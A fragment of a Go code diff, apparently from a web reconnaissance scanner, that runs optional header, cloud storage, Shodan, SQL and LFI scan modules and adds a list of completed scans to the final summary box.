} else {
moduleResults = append(moduleResults, ModuleResult{"headers", result})
scansRun = append(scansRun, "HTTP Headers")
}
}
if app.settings.CloudStorage {
result, err := scan.CloudStorage(url, app.settings.Timeout, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running C3 Scan: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"cloudstorage", result})
scansRun = append(scansRun, "Cloud Storage")
}
}
if app.settings.Shodan {
result, err := scan.Shodan(url, app.settings.Timeout, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running Shodan lookup: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"shodan", result})
scansRun = append(scansRun, "Shodan")
}
}
if app.settings.SQL {
result, err := scan.SQL(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running SQL reconnaissance: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"sql", result})
scansRun = append(scansRun, "SQL Recon")
}
}
if app.settings.LFI {
result, err := scan.LFI(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running LFI reconnaissance: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"lfi", result})
scansRun = append(scansRun, "LFI Recon")
}
}
@@ -181,10 +303,14 @@ func (app *App) Run() error {
}
if !app.settings.ApiMode {
scansRunList := " • " + strings.Join(scansRun, "\n • ")
if app.settings.LogDir != "" {
fmt.Println(styles.Box.Render(fmt.Sprintf("🌿 All scans completed!\n📂 Output saved to files: %s\n", strings.Join(app.logFiles, ", "))))
fmt.Println(styles.Box.Render(fmt.Sprintf("🌿 All scans completed!\n📂 Output saved to files: %s\n\n🔍 Ran scans:\n%s",
strings.Join(app.logFiles, ", "),
scansRunList)))
} else {
fmt.Println(styles.Box.Render(fmt.Sprintf("🌿 All scans completed!\n")))
fmt.Println(styles.Box.Render(fmt.Sprintf("🌿 All scans completed!\n\n🔍 Ran scans:\n%s",
scansRunList)))
}
}